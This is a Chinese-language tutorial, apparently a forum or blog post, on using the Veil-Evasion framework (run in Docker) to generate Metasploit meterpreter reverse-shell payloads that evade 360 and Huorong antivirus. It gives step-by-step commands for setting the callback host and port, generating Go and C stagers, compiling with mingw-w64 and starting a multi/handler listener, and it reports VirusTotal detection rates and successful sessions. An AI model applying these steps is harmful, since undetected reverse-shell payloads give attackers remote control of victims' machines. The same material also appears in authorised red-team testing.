几点说明:
1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
前言
Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。
Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。
安装veil
常规安装失败
kali快速安装
- apt -y install veil
- /usr/share/veil/config/setup.sh --force --silent
复制代码安装信息如下
看起来没什么问题,但后来在执行的时候各种出错,依赖包各种出问题,无论是快速安装还是常规手工安装都没能解决。网上也有很多人吐槽安装比较繁杂,出现各种状况,但也有的系统安全比较顺利。
后来,发现有人做好了veil的docker镜像,简单便捷,一键运行。
Docker安装
Docker安装
- https://hub.docker.com/r/mattiasohlsson/veil/
复制代码在kali里安装docker后,添加docker加速镜像地址vi /etc/docker/daemon.json
- {
- "registry-mirrors": [
- "https://1nj0zren.mirror.aliyuncs.com",
- "https://docker.mirrors.ustc.edu.cn",
- "http://f1361db2.m.daocloud.io",
- "https://registry.docker-cn.com"
- ]
- }
复制代码然后重启docker服务
- systemctl daemon-reload
- systemctl restart docker
复制代码拉取veil镜像
- docker pull mattiasohlsson/veil
复制代码拉取成功后,执行
- docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
复制代码-v /tmp/veil-output:/var/lib/veil/output:Z是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用。
之后再进入镜像可以在启动镜像后使用下面命令
- docker exec -it 4ae72dc914c9 /bin/bash
复制代码
执行veil命令可启动,版本为3.1.1。
veil使用
veil有两个免杀的工具,Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们一般选择Evasion
- Veil>: use 1 #选择Evasion功能
- Veil/Evasion>: list #查看payload列表
复制代码使用list可以看到到41种stager
推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较高的交互就容易被查杀。
使用veil直接生成exe(VT查杀率44/70)
veil可以直接生成支持msf的payload,我们先试一下看看效果。
我们使用go语言生成msf的payload
设置好msf的监听主机和端口就可以,下图
然后再设定好生成的payload的名称,我这里就用go_msf了
然后一堆编码编译之后,就生成payload了
因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。
在msf中监听
- msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
- msf5 exploit(multi/handler) > set lport 3334
- msf5 exploit(multi/handler) > set lport 10.211.55.2
- msf5 exploit(multi/handler) > exploit
复制代码在测试主机执行go_msf.exe,发现msf中可上线
而此时是正常打开360和火绒的
virustotal.com中44/71个报毒
虽然查杀率还比较高,不过火绒和360都能静态+动态免杀。比较遗憾的是生成的exe文件比较大,go语言生成的exe大约2M,python生成的exe大约4M,ruby生成的exe大约700K,相比msf原生态的exe大打多了。
使用veil+mingw-w64(VT查杀率23/71)
先用veil生成shellcode
- # veil
- use 1 #选择使用 Veil-Evasion 模块
- Veil-Evasion Menu
- 41 payloads loaded
- Available Commands:
- back Go to main Veil menu
- checkvt Check virustotal against generated hashes
- clean Remove generated artifacts
- exit Exit Veil
- info Information on a specific payload
- list List available payloads
- use Use a specific payload
- Veil-Evasion command: use 7 #选择payload c/meterpreter/rev_tcp.py
- [cs/meterpreter/rev_tcp>>] set LHOST 10.211.55.2
- [cs/meterpreter/rev_tcp>>] set LPORT 3333
- [cs/meterpreter/rev_tcp>>] generate
复制代码输入生成文件名为c_msf
先生成一个可以被 msf 利用的 c_msf.c 然后用mingw-w64 来编译
全程开启360卫士和杀毒以及火绒,编译、运行、上线都没有问题。
virustotal.com中23/71个报毒
小结
veil功能还是很强大的,生成的shellcode自身免杀能力就不错,而且支持多种语言的shellcode编译打包,和msf及cs可以无缝对接,值得人好好研究一下。三大老牌免杀工具不是浪得虚名的~~
参考整理